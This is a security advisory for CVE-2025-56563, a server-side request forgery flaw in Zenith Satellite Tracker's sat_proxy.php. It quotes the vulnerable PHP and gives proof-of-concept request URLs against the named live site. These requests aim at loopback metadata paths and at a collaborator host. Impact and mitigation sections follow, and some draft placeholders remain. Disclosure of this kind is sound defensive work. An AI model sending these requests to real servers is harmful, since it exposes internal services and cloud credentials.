CVE-2025-56563

[z3xddd]

CVE-2025-56563 — Unauthenticated Server-Side Request Forgery in Zenith Satellite Tracker

Overview

Field	Value
CVE ID	CVE-2025-56563
Vendor	zenithtracker.org
Product	Zenith Satellite Tracker (web.zenithtracker.org)
Affected version	1.0
Fixed version	[FIX IN PROGRESS]
Vulnerability type	CWE-918 Server-Side Request Forgery
Affected component	api/sat_proxy.php
Attack vector	Remote, unauthenticated
CVSS v3.1	8.6 High (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) [CONFIRMAR]
Discovered by	REAP, RIFTI
Status	[DISCLOSURE BY DATE]

Credit

Discovered and reported by REAP, RIFTI (rifti.com.br).

References

• CWE-918: Server-Side Request Forgery
• OWASP Top 10 2021 — A10 Server-Side Request Forgery
• OWASP — Server Side Request Forgery

# CVE-2025-56563 — Unauthenticated Server-Side Request Forgery in Zenith Satellite Tracker

Summary

A Server-Side Request Forgery vulnerability exists in sat_proxy.php in Zenith Satellite Tracker 1.0. The script accepts an attacker-controlled address URL parameter and passes it to curl_setopt(CURLOPT_URL) without host or scheme validation. An unauthenticated remote attacker can leverage this to make arbitrary HTTP and HTTPS requests from the server to internal networks or cloud metadata services, potentially obtaining sensitive information or pivoting to further attacks.

Description

The endpoint api/sat_proxy.php is intended to act as a proxy for satellite tracking API calls. It reads the destination address directly from user input.

$sat_address = isset($_GET['address']) ? $_GET['address'] : '';

The value is then assigned to $api_url and, depending on the action parameter, may have a path segment appended.

$api_url = $sat_address;
if ($action === 'status') {
    // For status check, append 'status' to the URL if not already present
    if (!preg_match('/\/status$/', $api_url)) {
        $api_url = rtrim($api_url, '/') . '/status';
    }
}

The resulting value is passed to cURL as the request target.

curl_setopt($ch, CURLOPT_URL, $api_url);   // attacker-controlled

No validation is performed at any point on the scheme, the host, the resolved IP address or the port. The application does not restrict requests to an allowlist of expected upstream hosts, does not block private and loopback address ranges, and does not verify that the resolved destination remains outside internal network boundaries. The endpoint requires no authentication.

As a result, the server can be instructed to issue requests to any destination reachable from its own network position, and the response is processed by the application.

Proof of Concept

Requesting an internal address through the vulnerable parameter:

GET /api/sat_proxy.php?address=127.0.0.1:80/latest/meta-data&action=status HTTP/1.1
Host: web.zenithtracker.org

Full URL form:

https://web.zenithtracker.org/api/sat_proxy.php?address=127.0.0.1:80&action=status

Out-of-band confirmation using an external collaborator host demonstrates that the server initiates outbound requests to arbitrary attacker-supplied destinations:

https://web.zenithtracker.org/api/sat_proxy.php?address=<collaborator-host>/latest/meta-data&action=status

The interaction is observed on the collaborator, confirming that the request originates from the application server rather than from the client.

Impact

An unauthenticated remote attacker can use the affected server as a request proxy. This allows the attacker to:

• Reach services bound to loopback or to private network ranges that are not exposed to the internet.
• Query cloud instance metadata endpoints, which in many deployments return credentials or configuration data.
• Enumerate internal hosts and open ports by observing differences in response behaviour and timing.
• Use the server as an intermediary for further requests, obscuring the true origin of the traffic.

The vulnerability requires no credentials and no user interaction.

Mitigation

The affected parameter must not be used to construct request targets directly. Recommended remediation:

• Restrict outbound requests to an allowlist of expected upstream hosts, rather than attempting to blocklist internal ranges.
• Validate the scheme and reject anything other than the schemes strictly required.
• Resolve the destination and reject addresses in loopback, link-local, private and cloud metadata ranges, revalidating after redirects.
• Disable automatic redirect following in cURL, or revalidate the destination on every redirect hop.
• Require authentication on the endpoint if it is not intended for anonymous use.

References

• [CWE-918: Server-Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html)
• [OWASP Top 10 2021 — A10 Server-Side Request Forgery](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)
• [OWASP — Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)